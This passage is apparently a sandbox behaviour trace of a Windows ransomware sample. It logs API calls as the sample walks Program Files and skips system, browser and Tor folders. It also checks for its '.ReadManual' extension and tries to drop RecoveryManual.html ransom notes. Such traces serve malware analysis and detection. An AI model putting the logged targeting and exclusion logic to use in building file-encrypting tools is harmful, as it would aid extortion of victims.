lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x661500 [0250.084] lstrcpyW (in: lpString1=0x6ab89c, lpString2="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\" | out: lpString1="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\") returned="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\" [0250.084] FindNextFileW (in: hFindFile=0x661500, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.084] FindNextFileW (in: hFindFile=0x661500, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd64fa49b, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="enu-dsk", cAlternateFileName="")) returned 1 [0250.084] lstrcpyW (in: lpString1=0x69b928, lpString2="enu-dsk" | out: lpString1="enu-dsk") returned="enu-dsk" [0250.084] lstrcatW (in: lpString1="enu-dsk", lpString2="\\" | out: lpString1="enu-dsk\\") returned="enu-dsk\\" [0250.085] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\", lpSrch=":\\Windows\\") returned 0x0 [0250.085] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\", lpSrch=":\\System Volume Information\\") returned 0x0 [0250.085] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\", lpSrch=":\\$RECYCLE.BIN\\") returned 0x0 [0250.085] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\", lpSrch=":\\SYSTEM.SAV") returned 0x0 [0250.085] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\", lpSrch=":\\WINNT") returned 0x0 [0250.085] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\", lpSrch=":\\$WINDOWS.~BT\\") returned 0x0 [0250.085] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\", lpSrch=":\\Windows.old\\") returned 0x0 [0250.085] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\", lpSrch=":\\PerfLog\\") returned 0x0 [0250.085] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\", lpSrch="\\WindowsApps\\") returned 0x0 [0250.085] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\", lpSrch="\\Microsoft\\Windows\\") returned 0x0 [0250.085] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\", lpSrch="\\Roaming\\Microsoft\\") returned 0x0 [0250.085] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\", lpSrch="\\Local\\Microsoft\\") returned 0x0 [0250.085] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\", lpSrch="\\LocalLow\\Microsoft\\") returned 0x0 [0250.085] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\", lpSrch=":\\ProgramData\\Microsoft\\") returned 0x0 [0250.085] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\", lpSrch="\\Local\\Packages\\") returned 0x0 [0250.085] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\", lpSrch=":\\ProgramData\\Packages\\") returned 0x0 [0250.085] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\", lpSrch="\\Windows Defender\\") returned 0x0 [0250.085] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\", lpSrch="\\microsoft shared\\") returned 0x0 [0250.085] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\", lpSrch="\\Google\\Chrome\\") returned 0x0 [0250.085] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\", lpSrch="\\Mozilla Firefox\\") returned 0x0 [0250.085] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\", lpSrch="\\Mozilla\\Firefox\\") returned 0x0 [0250.085] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\", lpSrch="\\Internet Explorer\\") returned 0x0 [0250.085] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\", lpSrch="\\MicrosoftEdge\\") returned 0x0 [0250.085] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\", lpSrch="\\Tor Browser\\") returned 0x0 [0250.086] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\", lpSrch="\\AppData\\Local\\Temp\\") returned 0x0 [0250.086] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\") returned 78 [0250.086] FindFirstFileW (in: lpFileName="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\*", lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd64fa49b, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6bfe80 [0250.086] lstrcpyW (in: lpString1=0x6ab89c, lpString2="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\" | out: lpString1="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\") returned="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\" [0250.086] FindNextFileW (in: hFindFile=0x6bfe80, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd64fa49b, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.086] FindNextFileW (in: hFindFile=0x6bfe80, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd64fa49b, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0250.086] FindClose (in: hFindFile=0x6bfe80 | out: hFindFile=0x6bfe80) returned 1 [0250.086] FindNextFileW (in: hFindFile=0x661500, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc84877a0, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc84877a0, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3739a960, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x5b400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSTTSFrontendENU.dll", cAlternateFileName="")) returned 1 [0250.087] lstrcpyW (in: lpString1=0x6ab928, lpString2="MSTTSFrontendENU.dll" | out: lpString1="MSTTSFrontendENU.dll") returned="MSTTSFrontendENU.dll" [0250.087] lstrcmpiW (lpString1="MSTTSFrontendENU.dll", lpString2="RecoveryManual.html") returned -1 [0250.087] StrStrIW (lpFirst="MSTTSFrontendENU.dll", lpSrch=".ReadManual.5A595725") returned 0x0 [0250.087] StrCmpIW (psz1="dll", psz2="exe") returned -1 [0250.087] StrCmpIW (psz1="dll", psz2="dll") returned 0 [0250.087] lstrcpyW (in: lpString1=0x68b874, lpString2="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\" | out: lpString1="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\") returned="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\" [0250.087] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\", lpString2="RecoveryManual.html" | out: lpString1="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\RecoveryManual.html") returned="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\RecoveryManual.html" [0250.087] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\RecoveryManual.html" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us\\recoverymanual.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0250.087] FindNextFileW (in: hFindFile=0x661500, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2c77e3, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2c77e3, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSTTSLoc.dll.mui", cAlternateFileName="")) returned 1 [0250.087] lstrcpyW (in: lpString1=0x6ab928, lpString2="MSTTSLoc.dll.mui" | out: lpString1="MSTTSLoc.dll.mui") returned="MSTTSLoc.dll.mui" [0250.087] lstrcmpiW (lpString1="MSTTSLoc.dll.mui", lpString2="RecoveryManual.html") returned -1 [0250.087] StrStrIW (lpFirst="MSTTSLoc.dll.mui", lpSrch=".ReadManual.5A595725") returned 0x0 [0250.087] StrCmpIW (psz1="mui", psz2="exe") returned 1 [0250.087] StrCmpIW (psz1="mui", psz2="dll") returned 1 [0250.087] StrCmpIW (psz1="mui", psz2="sys") returned -1 [0250.087] StrCmpIW (psz1="mui", psz2="msi") returned 1 [0250.087] StrCmpIW (psz1="mui", psz2="mui") returned 0 [0250.087] lstrcpyW (in: lpString1=0x68b874, lpString2="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\" | out: lpString1="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\") returned="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\" [0250.087] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\", lpString2="RecoveryManual.html" | out: lpString1="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\RecoveryManual.html") returned="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\RecoveryManual.html" [0250.087] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\RecoveryManual.html" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us\\recoverymanual.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0250.088] FindNextFileW (in: hFindFile=0x661500, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2c77e3, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2c77e3, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSTTSLoc.dll.mui", cAlternateFileName="")) returned 0 [0250.088] FindClose (in: hFindFile=0x661500 | out: hFindFile=0x661500) returned 1 [0250.088] FindNextFileW (in: hFindFile=0x668128, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc536f5be, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc536f5be, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x36fbb600, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xa200, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSTTSCommon.dll", cAlternateFileName="")) returned 1 [0250.088] lstrcpyW (in: lpString1=0x6ab91c, lpString2="MSTTSCommon.dll" | out: lpString1="MSTTSCommon.dll") returned="MSTTSCommon.dll" [0250.088] lstrcmpiW (lpString1="MSTTSCommon.dll", lpString2="RecoveryManual.html") returned -1 [0250.088] StrStrIW (lpFirst="MSTTSCommon.dll", lpSrch=".ReadManual.5A595725") returned 0x0 [0250.088] StrCmpIW (psz1="dll", psz2="exe") returned -1 [0250.088] StrCmpIW (psz1="dll", psz2="dll") returned 0 [0250.088] lstrcpyW (in: lpString1=0x68b874, lpString2="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\" | out: lpString1="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\") returned="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\" [0250.088] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\", lpString2="RecoveryManual.html" | out: lpString1="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\RecoveryManual.html") returned="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\RecoveryManual.html" [0250.088] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\RecoveryManual.html" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\recoverymanual.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0250.088] FindNextFileW (in: hFindFile=0x668128, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc982ab94, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc982ab94, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3702e1f0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x2c400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSTTSEngine.dll", cAlternateFileName="")) returned 1 [0250.088] lstrcpyW (in: lpString1=0x6ab91c, lpString2="MSTTSEngine.dll" | out: lpString1="MSTTSEngine.dll") returned="MSTTSEngine.dll" [0250.088] lstrcmpiW (lpString1="MSTTSEngine.dll", lpString2="RecoveryManual.html") returned -1 [0250.088] StrStrIW (lpFirst="MSTTSEngine.dll", lpSrch=".ReadManual.5A595725") returned 0x0 [0250.088] StrCmpIW (psz1="dll", psz2="exe") returned -1 [0250.088] StrCmpIW (psz1="dll", psz2="dll") returned 0 [0250.088] lstrcpyW (in: lpString1=0x68b874, lpString2="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\" | out: lpString1="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\") returned="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\" [0250.088] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\", lpString2="RecoveryManual.html" | out: lpString1="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\RecoveryManual.html") returned="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\RecoveryManual.html" [0250.088] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\RecoveryManual.html" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\recoverymanual.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0250.089] FindNextFileW (in: hFindFile=0x668128, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6d522f4, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc6d522f4, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3739a960, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSTTSLoc.dll", cAlternateFileName="")) returned 1 [0250.089] lstrcpyW (in: lpString1=0x6ab91c, lpString2="MSTTSLoc.dll" | out: lpString1="MSTTSLoc.dll") returned="MSTTSLoc.dll" [0250.089] lstrcmpiW (lpString1="MSTTSLoc.dll", lpString2="RecoveryManual.html") returned -1 [0250.089] StrStrIW (lpFirst="MSTTSLoc.dll", lpSrch=".ReadManual.5A595725") returned 0x0 [0250.089] StrCmpIW (psz1="dll", psz2="exe") returned -1 [0250.089] StrCmpIW (psz1="dll", psz2="dll") returned 0 [0250.089] lstrcpyW (in: lpString1=0x68b874, lpString2="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\" | out: lpString1="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\") returned="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\" [0250.089] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\", lpString2="RecoveryManual.html" | out: lpString1="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\RecoveryManual.html") returned="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\RecoveryManual.html" [0250.089] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\RecoveryManual.html" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\recoverymanual.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0250.089] FindNextFileW (in: hFindFile=0x668128, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6d522f4, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc6d522f4, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3739a960, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSTTSLoc.dll", cAlternateFileName="")) returned 0 [0250.089] FindClose (in: hFindFile=0x668128 | out: hFindFile=0x668128) returned 1 [0250.089] FindNextFileW (in: hFindFile=0x6680e8, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6d522f4, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc6d522f4, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3739a960, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSTTSLoc.dll", cAlternateFileName="")) returned 0 [0250.089] FindClose (in: hFindFile=0x6680e8 | out: hFindFile=0x6680e8) returned 1 [0250.089] FindNextFileW (in: hFindFile=0x66b108, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6d522f4, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc6d522f4, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3739a960, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSTTSLoc.dll", cAlternateFileName="")) returned 0 [0250.089] FindClose (in: hFindFile=0x66b108 | out: hFindFile=0x66b108) returned 1 [0250.090] FindNextFileW (in: hFindFile=0x688c28, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 1 [0250.090] lstrcpyW (in: lpString1=0x69b8e0, lpString2="System" | out: lpString1="System") returned="System" [0250.090] lstrcatW (in: lpString1="System", lpString2="\\" | out: lpString1="System\\") returned="System\\" [0250.090] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\", lpSrch=":\\Windows\\") returned 0x0 [0250.090] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\", lpSrch=":\\System Volume Information\\") returned 0x0 [0250.090] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\", lpSrch=":\\$RECYCLE.BIN\\") returned 0x0 [0250.090] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\", lpSrch=":\\SYSTEM.SAV") returned 0x0 [0250.090] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\", lpSrch=":\\WINNT") returned 0x0 [0250.090] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\", lpSrch=":\\$WINDOWS.~BT\\") returned 0x0 [0250.090] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\", lpSrch=":\\Windows.old\\") returned 0x0 [0250.090] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\", lpSrch=":\\PerfLog\\") returned 0x0 [0250.090] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\", lpSrch="\\WindowsApps\\") returned 0x0 [0250.090] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\", lpSrch="\\Microsoft\\Windows\\") returned 0x0 [0250.090] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\", lpSrch="\\Roaming\\Microsoft\\") returned 0x0 [0250.090] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\", lpSrch="\\Local\\Microsoft\\") returned 0x0 [0250.090] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\", lpSrch="\\LocalLow\\Microsoft\\") returned 0x0 [0250.090] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\", lpSrch=":\\ProgramData\\Microsoft\\") returned 0x0 [0250.090] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\", lpSrch="\\Local\\Packages\\") returned 0x0 [0250.090] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\", lpSrch=":\\ProgramData\\Packages\\") returned 0x0 [0250.090] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\", lpSrch="\\Windows Defender\\") returned 0x0 [0250.090] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\", lpSrch="\\microsoft shared\\") returned 0x0 [0250.090] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\", lpSrch="\\Google\\Chrome\\") returned 0x0 [0250.090] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\", lpSrch="\\Mozilla Firefox\\") returned 0x0 [0250.090] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\", lpSrch="\\Mozilla\\Firefox\\") returned 0x0 [0250.090] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\", lpSrch="\\Internet Explorer\\") returned 0x0 [0250.090] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\", lpSrch="\\MicrosoftEdge\\") returned 0x0 [0250.090] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\", lpSrch="\\Tor Browser\\") returned 0x0 [0250.090] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\", lpSrch="\\AppData\\Local\\Temp\\") returned 0x0 [0250.090] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Common 